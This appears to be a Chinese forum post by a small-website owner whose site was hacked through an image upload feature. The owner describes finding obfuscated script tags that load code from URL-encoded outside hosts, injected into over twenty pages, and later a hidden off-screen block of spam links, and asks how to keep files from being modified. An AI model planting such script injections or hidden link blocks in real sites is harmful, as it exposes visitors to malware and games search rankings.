今天刚给网站加了个计数器功能，ftp以后，打开网站卡巴提示有木马，感到不大对劲，难道计数器程序被误报，但宁可信其有不可信其无，试了几遍均报木马，于是ftp下整个网站，下载的过程中卡巴连接提示20多个网页有木马，等下载完后，和本地的文本比对了一下，发现在网页下面多一行js代码。<script src=http://%65%2Ec%6Bt4%2Ecn></script><script src=http://%65.%74%6C%69n%65e%2Ecom.c%6E></script>全部替换后，不在提示木马了，这里还要赞一下卡巴，提前发现，尽早解决。

本人刚接触网站，对网站挂马不大了解，一直以为自己的小网站，没人会在意，没想到却中招了，想请教高手，怎么在保留后台功能的前提下，禁止空间文件和目录被修改。

我在网上搜了一下，木马就是利用图片上传功能上传的木马，现在已经禁止图片目录的执行权限了，木马文件我也找到了，是奥运专版网站维护工具(加强版)。

虚拟空间，他有关闭目录asp执行权限功能，还有一个关闭所有目录上传功能，但不能用，因为关了后ftp都不能用。

是很便宜，还号称是BGP双线，后来我才知道，这个价格不大可能，我用的是动易编辑框，可能有漏洞。

真疯了，现在木马居然在我的网页里加入了这些代码

<MARQUEE width=%221%22 height=%229%22>
<div style="position: absolute; top: -88px;left: -88px;"><a href="http://www. 

"target="_blank">591</a><a href="http://www.2427.html "target="_blank">09婚纱</a><a 

href="http://www. "target="_blank">19楼</a><a 

href="http://www. "target="_blank">591结婚网</a><a 

href="http://www. "target="_blank">80后婚纱照</a><a 

href="http://www. "target="_blank">80后结婚照</a><a 

href="http://www. "target="_blank">90后婚纱照</a><a 

href="http://www. "target="_blank">90后结婚照</a><a 

href="http://www. "target="_blank">99结婚网</a><a 

href="http://www. "target="_blank">babyface</a><a 

href="http://www. "target="_blank">bbf</a><a 

href="http://www. "target="_blank">dhc</a>
</div>
</MARQUEE>